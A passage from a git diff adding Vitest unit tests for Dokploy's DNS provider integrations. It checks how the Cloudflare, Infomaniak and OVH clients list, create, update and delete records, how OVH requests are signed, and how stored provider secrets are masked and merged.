+ Array.from({ length: count }, (_, i) => ({ + id: `z${i}`, + name: `zone${i}.com`, + })), + ); + mockFetch.mockResolvedValueOnce(page(50)).mockResolvedValueOnce(page(3)); + + const zones = await cloudflareClient.listZones(config); + + expect(zones).toHaveLength(53); + expect(mockFetch).toHaveBeenCalledTimes(2); + expect(mockFetch.mock.calls[1]?.[0]).toContain("page=2"); + }); +}); + +describe("cloudflareClient.listRecords", () => { + it("lists records for a zone", async () => { + mockFetch.mockResolvedValue( + cfSuccess([ + { + id: "r1", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + ttl: 1, + }, + ]), + ); + + const records = await cloudflareClient.listRecords(config, "zone-1"); + + expect(records).toEqual([ + { + id: "r1", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + ttl: 1, + }, + ]); + expect(mockFetch.mock.calls[0]?.[0]).toContain("/zones/zone-1/dns_records"); + }); +}); + +describe("cloudflareClient MX priority", () => { + it("inlines the priority into the content when listing", async () => { + mockFetch.mockResolvedValue( + cfSuccess([ + { + id: "mx-1", + type: "MX", + name: "example.com", + content: "mail.example.com", + ttl: 300, + priority: 20, + }, + ]), + ); + + const records = await cloudflareClient.listRecords(config, "zone-1"); + + expect(records[0]?.content).toBe("20 mail.example.com"); + }); + + it("splits the priority back out when writing", async () => { + mockFetch + .mockResolvedValueOnce(cfSuccess([])) + .mockResolvedValueOnce(cfSuccess({ id: "mx-1" })); + + await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "MX", + name: "example.com", + content: "20 mail.example.com", + }); + + const [, init] = mockFetch.mock.calls[1] as [string, RequestInit]; + expect(JSON.parse(init.body as string)).toMatchObject({ + content: "mail.example.com", + priority: 20, + }); + }); + + it("falls back to priority 10 when the content has no leading number", async () => { + mockFetch + .mockResolvedValueOnce(cfSuccess([])) + .mockResolvedValueOnce(cfSuccess({ id: "mx-1" })); + + await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "MX", + name: "example.com", + content: "mail.example.com", + }); + + const [, init] = mockFetch.mock.calls[1] as [string, RequestInit]; + expect(JSON.parse(init.body as string)).toMatchObject({ + content: "mail.example.com", + priority: 10, + }); + }); + + it("leaves non-MX content untouched", async () => { + mockFetch + .mockResolvedValueOnce(cfSuccess([])) + .mockResolvedValueOnce(cfSuccess({ id: "txt-1" })); + + await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "TXT", + name: "example.com", + content: "10 not-a-priority", + }); + + const [, init] = mockFetch.mock.calls[1] as [string, RequestInit]; + const body = JSON.parse(init.body as string); + expect(body.content).toBe("10 not-a-priority"); + expect(body.priority).toBeUndefined(); + }); +}); + +describe("cloudflareClient structured records", () => { + const stubCreate = () => + mockFetch + .mockResolvedValueOnce(cfSuccess([])) + .mockResolvedValueOnce(cfSuccess({ id: "rec-1" })); + + it("sends SRV values as structured data", async () => { + stubCreate(); + + await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "SRV", + name: "_sip._tcp.example.com", + content: "1 10 5269 talk.example.com", + }); + + const [, init] = mockFetch.mock.calls[1] as [string, RequestInit]; + const body = JSON.parse(init.body as string); + expect(body.data).toEqual({ + priority: 1, + weight: 10, + port: 5269, + target: "talk.example.com", + }); + expect(body.content).toBeUndefined(); + }); + + it("sends CAA values as structured data and drops the quotes", async () => { + stubCreate(); + + await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "CAA", + name: "example.com", + content: '0 issue "letsencrypt.org"', + }); + + const [, init] = mockFetch.mock.calls[1] as [string, RequestInit]; + const body = JSON.parse(init.body as string); + expect(body.data).toEqual({ + flags: 0, + tag: "issue", + value: "letsencrypt.org", + }); + expect(body.content).toBeUndefined(); + }); + + it("rejects an SRV value that is missing a part", async () => { + await expect( + cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "SRV", + name: "_sip._tcp.example.com", + content: "1 10 5269", + }), + ).rejects.toThrow(/SRV value/); + }); + + it("rejects a CAA value that has no tag", async () => { + await expect( + cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "CAA", + name: "example.com", + content: "0", + }), + ).rejects.toThrow(/CAA value/); + }); +}); + +describe("cloudflareClient proxy status", () => { + it("sends the proxy status for proxiable types", async () => { + mockFetch + .mockResolvedValueOnce(cfSuccess([])) + .mockResolvedValueOnce(cfSuccess({ id: "a-1" })); + + await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + proxied: true, + }); + + const [, init] = mockFetch.mock.calls[1] as [string, RequestInit]; + expect(JSON.parse(init.body as string).proxied).toBe(true); + }); + + it("omits the proxy status for types Cloudflare cannot proxy", async () => { + mockFetch + .mockResolvedValueOnce(cfSuccess([])) + .mockResolvedValueOnce(cfSuccess({ id: "txt-1" })); + + await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "TXT", + name: "example.com", + content: "hello", + proxied: true, + }); + + const [, init] = mockFetch.mock.calls[1] as [string, RequestInit]; + expect(JSON.parse(init.body as string).proxied).toBeUndefined(); + }); + + it("leaves the proxy status untouched when the caller does not set it", async () => { + mockFetch + .mockResolvedValueOnce(cfSuccess([])) + .mockResolvedValueOnce(cfSuccess({ id: "a-1" })); + + await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + }); + + const [, init] = mockFetch.mock.calls[1] as [string, RequestInit]; + expect("proxied" in JSON.parse(init.body as string)).toBe(false); + }); + + it("returns the proxy status when listing records", async () => { + mockFetch.mockResolvedValue( + cfSuccess([ + { + id: "a-1", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + ttl: 1, + proxied: true, + }, + ]), + ); + + const records = await cloudflareClient.listRecords(config, "zone-1"); + + expect(records[0]?.proxied).toBe(true); + }); +}); + +describe("cloudflareClient.upsertRecord", () => { + it("creates a record when none exists for the name/type", async () => { + mockFetch + .mockResolvedValueOnce(cfSuccess([])) + .mockResolvedValueOnce(cfSuccess({ id: "new-1" })); + + const result = await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + }); + + expect(result).toEqual({ id: "new-1" }); + const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit]; + expect(createInit.method).toBe("POST"); + }); + + it("updates the existing record when content matches", async () => { + mockFetch + .mockResolvedValueOnce( + cfSuccess([{ id: "existing-1", type: "A", content: "5.6.7.8" }]), + ) + .mockResolvedValueOnce(cfSuccess({ id: "existing-1" })); + + const result = await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "A", + name: "app.example.com", + content: "5.6.7.8", + }); + + expect(result).toEqual({ id: "existing-1" }); + const [updateUrl, updateInit] = mockFetch.mock.calls[1] as [ + string, + RequestInit, + ]; + expect(updateUrl).toContain("/dns_records/existing-1"); + expect(updateInit.method).toBe("PUT"); + }); + + it("creates a new record when content differs from existing", async () => { + mockFetch + .mockResolvedValueOnce( + cfSuccess([{ id: "existing-1", type: "A", content: "1.1.1.1" }]), + ) + .mockResolvedValueOnce(cfSuccess({ id: "new-2" })); + + const result = await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "A", + name: "app.example.com", + content: "5.6.7.8", + }); + + expect(result).toEqual({ id: "new-2" }); + const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit]; + expect(createInit.method).toBe("POST"); + }); + + it("defaults ttl to 1 (automatic) when not provided", async () => { + mockFetch + .mockResolvedValueOnce(cfSuccess([])) + .mockResolvedValueOnce(cfSuccess({ id: "new-1" })); + + await cloudflareClient.upsertRecord(config, { + zoneId: "zone-1", + type: "CNAME", + name: "www.example.com", + content: "example.com", + }); + + const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit]; + const body = JSON.parse(createInit.body as string); + expect(body.ttl).toBe(1); + }); +}); + +describe("cloudflareClient.updateRecord", () => { + it("PUTs directly to the given record id", async () => { + mockFetch.mockResolvedValue(cfSuccess({ id: "r1" })); + + const result = await cloudflareClient.updateRecord(config, "zone-1", "r1", { + type: "A", + name: "app.example.com", + content: "9.9.9.9", + ttl: 300, + }); + + expect(result).toEqual({ id: "r1" }); + const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit]; + expect(url).toContain("/zones/zone-1/dns_records/r1"); + expect(init.method).toBe("PUT"); + expect(JSON.parse(init.body as string)).toEqual({ + type: "A", + name: "app.example.com", + content: "9.9.9.9", + ttl: 300, + }); + }); +}); + +describe("cloudflareClient.deleteRecord", () => { + it("DELETEs the given record id", async () => { + mockFetch.mockResolvedValue(cfSuccess({})); + + await cloudflareClient.deleteRecord(config, "zone-1", "r1"); + + const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit]; + expect(url).toContain("/zones/zone-1/dns_records/r1"); + expect(init.method).toBe("DELETE"); + }); +}); + +describe("cloudflareClient.testConnection", () => { + it("succeeds when the token can list zones", async () => { + mockFetch.mockResolvedValue(cfSuccess([])); + await expect( + cloudflareClient.testConnection(config), + ).resolves.toBeUndefined(); + }); + + it("surfaces Cloudflare's error message on an invalid token", async () => { + mockFetch.mockResolvedValue(cfError("Invalid API Token")); + + await expect(cloudflareClient.testConnection(config)).rejects.toThrow( + "Invalid API Token", + ); + }); +}); + +describe("cloudflareClient auth header", () => { + it("trims whitespace pasted into the token", async () => { + mockFetch.mockResolvedValue(cfSuccess([])); + + await cloudflareClient.testConnection({ + providerType: "cloudflare", + apiToken: " cf-token\n", + }); + + const [, init] = mockFetch.mock.calls[0] as [string, RequestInit]; + expect((init.headers as Record).Authorization).toBe( + "Bearer cf-token", + ); + }); +}); diff --git a/apps/dokploy/__test__/dns/dns-provider-service.test.ts b/apps/dokploy/__test__/dns/dns-provider-service.test.ts new file mode 100644 index 000000000..995fc7fc6 --- /dev/null +++ b/apps/dokploy/__test__/dns/dns-provider-service.test.ts @@ -0,0 +1,116 @@ +import { describe, expect, it, vi } from "vitest"; + +vi.mock("@dokploy/server/db", () => ({ + db: { + query: { dnsProvider: { findFirst: vi.fn(), findMany: vi.fn() } }, + insert: vi.fn(), + update: vi.fn(), + delete: vi.fn(), + }, +})); + +import { + DNS_SECRET_MASK, + maskDnsProviderConfig, + mergeDnsProviderConfig, +} from "@dokploy/server/services/dns-provider"; + +describe("maskDnsProviderConfig", () => { + it("masks the apiToken for a cloudflare config", () => { + const masked = maskDnsProviderConfig({ + providerType: "cloudflare", + apiToken: "real-token", + }); + + expect(masked).toEqual({ + providerType: "cloudflare", + apiToken: DNS_SECRET_MASK, + }); + }); + + it("masks only the secretAccessKey for a route53 config, keeping accessKeyId visible", () => { + const masked = maskDnsProviderConfig({ + providerType: "route53", + accessKeyId: "AKIA_VISIBLE", + secretAccessKey: "shh", + }); + + expect(masked).toEqual({ + providerType: "route53", + accessKeyId: "AKIA_VISIBLE", + secretAccessKey: DNS_SECRET_MASK, + }); + }); + + it("leaves an empty sensitive field untouched instead of masking a blank value", () => { + const masked = maskDnsProviderConfig({ + providerType: "cloudflare", + apiToken: "", + }); + + expect(masked).toEqual({ providerType: "cloudflare", apiToken: "" }); + }); +}); + +describe("mergeDnsProviderConfig", () => { + it("restores the real secret when the incoming config still has the mask placeholder", () => { + const existing = { + providerType: "cloudflare" as const, + apiToken: "real-token", + }; + const incoming = { + providerType: "cloudflare" as const, + apiToken: DNS_SECRET_MASK, + }; + + expect(mergeDnsProviderConfig(incoming, existing)).toEqual(existing); + }); + + it("keeps a freshly entered secret instead of the stored one", () => { + const existing = { + providerType: "cloudflare" as const, + apiToken: "old-token", + }; + const incoming = { + providerType: "cloudflare" as const, + apiToken: "new-token", + }; + + expect(mergeDnsProviderConfig(incoming, existing)).toEqual(incoming); + }); + + it("throws when switching provider type while the field is still masked", () => { + const existing = { + providerType: "cloudflare" as const, + apiToken: "real-token", + }; + const incoming = { + providerType: "route53" as const, + accessKeyId: "AKIA", + secretAccessKey: DNS_SECRET_MASK, + }; + + expect(() => mergeDnsProviderConfig(incoming, existing)).toThrow( + "Credentials must be re-entered", + ); + }); + + it("does not require re-entry for fields that are not sensitive", () => { + const existing = { + providerType: "route53" as const, + accessKeyId: "AKIA_OLD", + secretAccessKey: "old-secret", + }; + const incoming = { + providerType: "route53" as const, + accessKeyId: "AKIA_NEW", + secretAccessKey: DNS_SECRET_MASK, + }; + + expect(mergeDnsProviderConfig(incoming, existing)).toEqual({ + providerType: "route53", + accessKeyId: "AKIA_NEW", + secretAccessKey: "old-secret", + }); + }); +}); diff --git a/apps/dokploy/__test__/dns/infomaniak.test.ts b/apps/dokploy/__test__/dns/infomaniak.test.ts new file mode 100644 index 000000000..f5ba70027 --- /dev/null +++ b/apps/dokploy/__test__/dns/infomaniak.test.ts @@ -0,0 +1,486 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const mockFetch = vi.fn(); +global.fetch = mockFetch as typeof fetch; + +import { infomaniakClient } from "@dokploy/server/utils/dns/infomaniak"; + +const jsonResponse = (body: unknown, ok = true, status = 200) => + ({ + ok, + status, + json: async () => body, + }) as Response; + +const ikSuccess = (data: unknown) => jsonResponse({ result: "success", data }); + +const ikPage = (data: unknown, page: number, pages: number) => + jsonResponse({ result: "success", data, page, pages }); + +const ikError = (description: string, status = 400) => + jsonResponse( + { result: "error", error: { code: "not_authorized", description } }, + false, + status, + ); + +const config = { + providerType: "infomaniak" as const, + apiToken: "ik_test_token", +}; + +const lastCall = () => + mockFetch.mock.calls.at(-1) as [string, RequestInit & { method?: string }]; + +const lastBody = () => JSON.parse(lastCall()[1].body as string); + +beforeEach(() => { + mockFetch.mockReset(); +}); + +describe("infomaniakClient.listZones", () => { + it("exposes each domain product as a zone keyed by its name", async () => { + mockFetch.mockResolvedValue( + ikPage( + [ + { id: 1, customer_name: "example.com" }, + { id: 2, customer_name: "example.ch" }, + ], + 1, + 1, + ), + ); + + const zones = await infomaniakClient.listZones(config); + + expect(zones).toEqual([ + { id: "example.com", name: "example.com" }, + { id: "example.ch", name: "example.ch" }, + ]); + const [url, init] = lastCall(); + // The documented endpoint is the plural one; the singular is legacy and + // returns no pagination metadata at all. + expect(url).toContain("/1/products?service_name=domain"); + expect(url).toContain("page=1"); + expect(init.headers).toMatchObject({ + Authorization: "Bearer ik_test_token", + }); + }); + + it("walks every page so accounts with many domains keep all their zones", async () => { + mockFetch + .mockResolvedValueOnce(ikPage([{ id: 1, customer_name: "a.com" }], 1, 3)) + .mockResolvedValueOnce(ikPage([{ id: 2, customer_name: "b.com" }], 2, 3)) + .mockResolvedValueOnce(ikPage([{ id: 3, customer_name: "c.com" }], 3, 3)); + + const zones = await infomaniakClient.listZones(config); + + expect(zones.map((zone) => zone.name)).toEqual(["a.com", "b.com", "c.com"]); + expect(mockFetch).toHaveBeenCalledTimes(3); + expect((mockFetch.mock.calls[2] as [string])[0]).toContain("page=3"); + }); + + it("stops after a single page when the response has no pagination", async () => { + mockFetch.mockResolvedValue(ikSuccess([{ id: 1, customer_name: "a.com" }])); + + const zones = await infomaniakClient.listZones(config); + + expect(zones).toEqual([{ id: "a.com", name: "a.com" }]); + expect(mockFetch).toHaveBeenCalledTimes(1); + }); + + it("propagates the API error description", async () => { + mockFetch.mockResolvedValue(ikError("Authorization required", 401)); + + await expect(infomaniakClient.listZones(config)).rejects.toThrow( + "Authorization required", + ); + }); +}); + +describe("infomaniakClient.listRecords", () => { + it("rebuilds the fqdn from the relative source", async () => { + mockFetch.mockResolvedValue( + ikSuccess([ + { id: 10, type: "A", source: "app", target: "1.2.3.4", ttl: 300 }, + { id: 11, type: "A", source: "", target: "5.6.7.8", ttl: 600 }, + ]), + ); + + const records = await infomaniakClient.listRecords(config, "example.com"); + + expect(records).toEqual([ + { + id: "10", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + ttl: 300, + }, + { + id: "11", + type: "A", + name: "example.com", + content: "5.6.7.8", + ttl: 600, + }, + ]); + expect(lastCall()[0]).toBe( + "https://api.infomaniak.com/2/zones/example.com/records?with=records_description", + ); + }); + + it.each([".", "", "@"])("treats a %s source as the apex", async (source) => { + mockFetch.mockResolvedValue( + ikSuccess([{ id: 12, type: "A", source, target: "1.2.3.4", ttl: 300 }]), + ); + + const records = await infomaniakClient.listRecords(config, "example.com"); + + expect(records[0]?.name).toBe("example.com"); + }); + + it("unquotes TXT targets", async () => { + mockFetch.mockResolvedValue( + ikSuccess([ + { + id: 13, + type: "TXT", + source: "_acme-challenge", + target: '"token-value"', + ttl: 300, + }, + ]), + ); + + const records = await infomaniakClient.listRecords(config, "example.com"); + + expect(records[0]?.content).toBe("token-value"); + }); + + it("leaves a CAA target untouched", async () => { + mockFetch.mockResolvedValue( + ikSuccess([ + { + id: 14, + type: "CAA", + source: "", + target: '0 issue "letsencrypt.org"', + ttl: 300, + }, + ]), + ); + + const records = await infomaniakClient.listRecords(config, "example.com"); + + expect(records[0]?.content).toBe('0 issue "letsencrypt.org"'); + }); +}); + +describe("infomaniakClient.upsertRecord", () => { + it("creates the record when no matching source and type exists", async () => { + mockFetch + .mockResolvedValueOnce(ikSuccess([])) + .mockResolvedValueOnce(ikSuccess({ id: 42 })); + + const result = await infomaniakClient.upsertRecord(config, { + zoneId: "example.com", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + ttl: 600, + }); + + expect(result).toEqual({ id: "42" }); + const [url, init] = lastCall(); + expect(url).toBe("https://api.infomaniak.com/2/zones/example.com/records"); + expect(init.method).toBe("POST"); + expect(lastBody()).toEqual({ + type: "A", + source: "app", + target: "1.2.3.4", + ttl: 600, + }); + }); + + it("updates the existing record when content matches", async () => { + mockFetch + .mockResolvedValueOnce( + ikSuccess([ + { id: 7, type: "A", source: "app", target: "1.2.3.4", ttl: 300 }, + ]), + ) + .mockResolvedValueOnce(ikSuccess({ id: 7 })); + + const result = await infomaniakClient.upsertRecord(config, { + zoneId: "example.com", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + }); + + expect(result).toEqual({ id: "7" }); + const [url, init] = lastCall(); + expect(url).toBe( + "https://api.infomaniak.com/2/zones/example.com/records/7", + ); + expect(init.method).toBe("PUT"); + expect(lastBody().ttl).toBe(300); + }); + + it("creates a new record when content differs from existing", async () => { + mockFetch + .mockResolvedValueOnce( + ikSuccess([ + { id: 7, type: "A", source: "app", target: "1.1.1.1", ttl: 300 }, + ]), + ) + .mockResolvedValueOnce(ikSuccess({ id: 50 })); + + const result = await infomaniakClient.upsertRecord(config, { + zoneId: "example.com", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + }); + + expect(result).toEqual({ id: "50" }); + const [url, init] = lastCall(); + expect(url).toBe("https://api.infomaniak.com/2/zones/example.com/records"); + expect(init.method).toBe("POST"); + }); + + it("writes a root dot as the source for an apex record and strips the trailing dot", async () => { + mockFetch + .mockResolvedValueOnce(ikSuccess([])) + .mockResolvedValueOnce(ikSuccess({ id: 43 })); + + await infomaniakClient.upsertRecord(config, { + zoneId: "example.com", + type: "A", + name: "example.com.", + content: "1.2.3.4", + }); + + expect(lastBody().source).toBe("."); + }); + + it.each([".", "", "@"])( + "matches an existing apex record stored with a %s source", + async (source) => { + mockFetch + .mockResolvedValueOnce( + ikSuccess([ + { id: 8, type: "A", source, target: "1.2.3.4", ttl: 3600 }, + ]), + ) + .mockResolvedValueOnce(ikSuccess({ id: 8 })); + + const result = await infomaniakClient.upsertRecord(config, { + zoneId: "example.com", + type: "A", + name: "example.com", + content: "1.2.3.4", + }); + + expect(result).toEqual({ id: "8" }); + expect(lastCall()[1].method).toBe("PUT"); + }, + ); + + it("matches the existing apex record instead of creating a duplicate", async () => { + mockFetch + .mockResolvedValueOnce( + ikSuccess([ + { + id: 8, + type: "TXT", + source: ".", + target: '"v=spf1 -all"', + ttl: 3600, + }, + ]), + ) + .mockResolvedValueOnce(ikSuccess({ id: 8 })); + + const result = await infomaniakClient.upsertRecord(config, { + zoneId: "example.com", + type: "TXT", + name: "example.com", + content: "v=spf1 -all", + }); + + expect(result).toEqual({ id: "8" }); + const [url, init] = lastCall(); + expect(init.method).toBe("PUT"); + expect(url).toBe( + "https://api.infomaniak.com/2/zones/example.com/records/8", + ); + expect(lastBody().target).toBe('"v=spf1 -all"'); + }); + + it("quotes a TXT target on write", async () => { + mockFetch + .mockResolvedValueOnce(ikSuccess([])) + .mockResolvedValueOnce(ikSuccess({ id: 44 })); + + await infomaniakClient.upsertRecord(config, { + zoneId: "example.com", + type: "TXT", + name: "_acme-challenge.example.com", + content: "token-value", + }); + + expect(lastBody().target).toBe('"token-value"'); + }); + + it("does not double-quote a TXT target that is already quoted", async () => { + mockFetch + .mockResolvedValueOnce(ikSuccess([])) + .mockResolvedValueOnce(ikSuccess({ id: 45 })); + + await infomaniakClient.upsertRecord(config, { + zoneId: "example.com", + type: "TXT", + name: "_acme-challenge.example.com", + content: '"token-value"', + }); + + expect(lastBody().target).toBe('"token-value"'); + }); + + it("queries the API with a source and type filter instead of the whole zone", async () => { + mockFetch + .mockResolvedValueOnce(ikSuccess([])) + .mockResolvedValueOnce(ikSuccess({ id: 50 })); + + await infomaniakClient.upsertRecord(config, { + zoneId: "example.com", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + }); + + const [url] = mockFetch.mock.calls[0] as [string]; + expect(url).toContain("filter%5Bsource%5D=app"); + expect(url).toContain("filter%5Btypes%5D%5B%5D=A"); + }); + + it("ignores a partial filter hit rather than overwriting a different record", async () => { + // filter[source] matches substrings: asking for "auto" also returns + // "autoconfig" and "autodiscover". Trusting it would overwrite one of them. + mockFetch + .mockResolvedValueOnce( + ikSuccess([ + { + id: 61, + type: "CNAME", + source: "autoconfig", + target: "a.example.net", + ttl: 300, + }, + { + id: 62, + type: "CNAME", + source: "autodiscover", + target: "b.example.net", + ttl: 300, + }, + ]), + ) + .mockResolvedValueOnce(ikSuccess({ id: 63 })); + + const result = await infomaniakClient.upsertRecord(config, { + zoneId: "example.com", + type: "CNAME", + name: "auto.example.com", + content: "c.example.net", + }); + + expect(result).toEqual({ id: "63" }); + expect(lastCall()[1].method).toBe("POST"); + }); +}); + +describe("infomaniakClient.updateRecord", () => { + it("updates the record and keeps its id", async () => { + mockFetch.mockResolvedValue(ikSuccess({ id: 7 })); + + const result = await infomaniakClient.updateRecord( + config, + "example.com", + "7", + { + type: "CNAME", + name: "www.example.com", + content: "example.com", + ttl: 900, + }, + ); + + expect(result).toEqual({ id: "7" }); + const [url, init] = lastCall(); + expect(url).toBe( + "https://api.infomaniak.com/2/zones/example.com/records/7", + ); + expect(init.method).toBe("PUT"); + expect(lastBody()).toEqual({ + type: "CNAME", + source: "www", + target: "example.com", + ttl: 900, + }); + }); + + it("falls back to the default ttl when none is provided", async () => { + mockFetch.mockResolvedValue(ikSuccess({ id: 7 })); + + await infomaniakClient.updateRecord(config, "example.com", "7", { + type: "A", + name: "app.example.com", + content: "1.2.3.4", + }); + + expect(lastBody().ttl).toBe(300); + }); +}); + +describe("infomaniakClient.deleteRecord", () => { + it("deletes the record", async () => { + mockFetch.mockResolvedValue(ikSuccess(null)); + + await infomaniakClient.deleteRecord(config, "example.com", "7"); + + const [url, init] = lastCall(); + expect(url).toBe( + "https://api.infomaniak.com/2/zones/example.com/records/7", + ); + expect(init.method).toBe("DELETE"); + }); + + it("propagates a delete failure", async () => { + mockFetch.mockResolvedValue(ikError("Record not found", 404)); + + await expect( + infomaniakClient.deleteRecord(config, "example.com", "7"), + ).rejects.toThrow("Record not found"); + }); +}); + +describe("infomaniakClient.testConnection", () => { + it("resolves when the domain listing succeeds", async () => { + mockFetch.mockResolvedValue(ikSuccess([])); + + await expect( + infomaniakClient.testConnection(config), + ).resolves.toBeUndefined(); + }); + + it("rejects on an invalid token", async () => { + mockFetch.mockResolvedValue(ikError("Authorization required", 401)); + + await expect(infomaniakClient.testConnection(config)).rejects.toThrow( + "Infomaniak: request to /1/products?service_name=domain&per_page=1 failed: Authorization required", + ); + }); +}); diff --git a/apps/dokploy/__test__/dns/ovh.test.ts b/apps/dokploy/__test__/dns/ovh.test.ts new file mode 100644 index 000000000..7e08d7f99 --- /dev/null +++ b/apps/dokploy/__test__/dns/ovh.test.ts @@ -0,0 +1,581 @@ +import { createHash } from "node:crypto"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const mockFetch = vi.fn(); +global.fetch = mockFetch as typeof fetch; + +import { ovhClient } from "@dokploy/server/utils/dns/ovh"; + +const textResponse = (body: string, ok = true, status = 200) => + ({ + ok, + status, + text: async () => body, + }) as Response; + +const ovhSuccess = (data: unknown) => + textResponse(data === undefined ? "" : JSON.stringify(data)); + +const ovhError = (message: string, status = 403) => + textResponse(JSON.stringify({ message }), false, status); + +const SERVER_TIME = 1788268225; + +const config = { + providerType: "ovh" as const, + endpoint: "ovh-eu" as const, + applicationKey: "app-key", + applicationSecret: "app-secret", + consumerKey: "consumer-key", +}; + +// Each test uses a distinct endpoint so the module-level clock-skew cache, which +// is keyed by base url, never leaks a measurement between them. +let endpointCursor = 0; +const endpoints = [ + "ovh-eu", + "ovh-ca", + "ovh-us", + "kimsufi-eu", + "kimsufi-ca", + "soyoustart-eu", + "soyoustart-ca", +] as const; +const baseUrls: Record<(typeof endpoints)[number], string> = { + "ovh-eu": "https://eu.api.ovh.com/1.0", + "ovh-ca": "https://ca.api.ovh.com/1.0", + "ovh-us": "https://api.us.ovhcloud.com/1.0", + "kimsufi-eu": "https://eu.api.kimsufi.com/1.0", + "kimsufi-ca": "https://ca.api.kimsufi.com/1.0", + "soyoustart-eu": "https://eu.api.soyoustart.com/1.0", + "soyoustart-ca": "https://ca.api.soyoustart.com/1.0", +}; + +/** A config on a not-yet-used endpoint, so the first call always fetches /auth/time. */ +const freshConfig = () => { + const endpoint = endpoints[ + endpointCursor % endpoints.length + ] as (typeof endpoints)[number]; + endpointCursor += 1; + return { ...config, endpoint, baseUrl: baseUrls[endpoint] }; +}; + +/** Replies to /auth/time, then to each queued API response in order. */ +const mockApi = (...responses: Response[]) => { + let call = 0; + mockFetch.mockImplementation((url: string) => { + if (url.endsWith("/auth/time")) { + return Promise.resolve(textResponse(String(SERVER_TIME))); + } + const response = responses[call]; + call += 1; + return Promise.resolve(response ?? ovhSuccess(null)); + }); +}; + +const apiCalls = () => + mockFetch.mock.calls.filter( + ([url]) => !(url as string).endsWith("/auth/time"), + ) as [string, RequestInit][]; + +beforeEach(() => { + mockFetch.mockReset(); +}); + +describe("ovhClient request signing", () => { + it("signs the request with the API server clock, not the local one", async () => { + const { baseUrl, ...cfg } = freshConfig(); + mockApi(ovhSuccess(["example.com"])); + vi.spyOn(Date, "now").mockReturnValue((SERVER_TIME - 120) * 1000); + + await ovhClient.listZones(cfg); + + const [url, init] = apiCalls()[0] as [string, RequestInit]; + const headers = init.headers as Record; + expect(url).toBe(`${baseUrl}/domain/zone`); + expect(headers["X-Ovh-Timestamp"]).toBe(String(SERVER_TIME)); + expect(headers["X-Ovh-Application"]).toBe("app-key"); + expect(headers["X-Ovh-Consumer"]).toBe("consumer-key"); + + const expected = createHash("sha1") + .update( + ["app-secret", "consumer-key", "GET", url, "", SERVER_TIME].join("+"), + ) + .digest("hex"); + expect(headers["X-Ovh-Signature"]).toBe(`$1$${expected}`); + + vi.restoreAllMocks(); + }); + + it("signs a request body when one is sent", async () => { + const { baseUrl, ...cfg } = freshConfig(); + mockApi(ovhSuccess([]), ovhSuccess({ id: 5 }), ovhSuccess(null)); + vi.spyOn(Date, "now").mockReturnValue(SERVER_TIME * 1000); + + await ovhClient.upsertRecord(cfg, { + zoneId: "example.com", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + }); + + const [url, init] = apiCalls()[1] as [string, RequestInit]; + const headers = init.headers as Record; + const body = init.body as string; + expect(body).not.toBe(""); + const expected = createHash("sha1") + .update( + ["app-secret", "consumer-key", "POST", url, body, SERVER_TIME].join( + "+", + ), + ) + .digest("hex"); + expect(headers["X-Ovh-Signature"]).toBe(`$1$${expected}`); + + vi.restoreAllMocks(); + }); +}); + +describe("ovhClient.listZones", () => { + it("maps each zone name to a zone", async () => { + const cfg = freshConfig(); + mockApi(ovhSuccess(["example.com", "example.fr"])); + + const zones = await ovhClient.listZones(cfg); + + expect(zones).toEqual([ + { id: "example.com", name: "example.com" }, + { id: "example.fr", name: "example.fr" }, + ]); + }); + + it("names the missing root right when OVH refuses the zone listing", async () => { + const cfg = freshConfig(); + mockApi(ovhError("This call has not been granted", 403)); + + // A `GET /domain/zone/*` rule does not cover the bare `GET /domain/zone`, + // so the raw OVH message would send users looking in the wrong place. + await expect(ovhClient.listZones(cfg)).rejects.toThrow( + /missing the `GET \/domain\/zone` right/, + ); + }); + + it("propagates the API error message", async () => { + const cfg = freshConfig(); + mockApi(ovhError("Invalid signature", 403)); + + await expect(ovhClient.listZones(cfg)).rejects.toThrow("Invalid signature"); + }); +}); + +describe("ovhClient.listRecords", () => { + it("resolves each id into a full record", async () => { + const cfg = freshConfig(); + mockApi( + ovhSuccess([1, 2]), + ovhSuccess({ + id: 1, + zone: "example.com", + fieldType: "A", + subDomain: "app", + target: "1.2.3.4", + ttl: 600, + }), + ovhSuccess({ + id: 2, + zone: "example.com", + fieldType: "A", + subDomain: null, + target: "5.6.7.8", + ttl: null, + }), + ); + + const records = await ovhClient.listRecords(cfg, "example.com"); + + expect(records).toEqual([ + { + id: "1", + type: "A", + name: "app.example.com", + content: "1.2.3.4", + ttl: 600, + }, + { + id: "2", + type: "A", + name: "example.com", + content: "5.6.7.8", + ttl: 0, + }, + ]); + }); + + it("keeps the records in the order of the returned ids", async () => { + const cfg = freshConfig(); + const record = (id: number, subDomain: string) => ({ + id, + zone: "example.com", + fieldType: "A", + subDomain, + target: `10.0.0.${id}`, + ttl: 60, + }); + mockApi( + 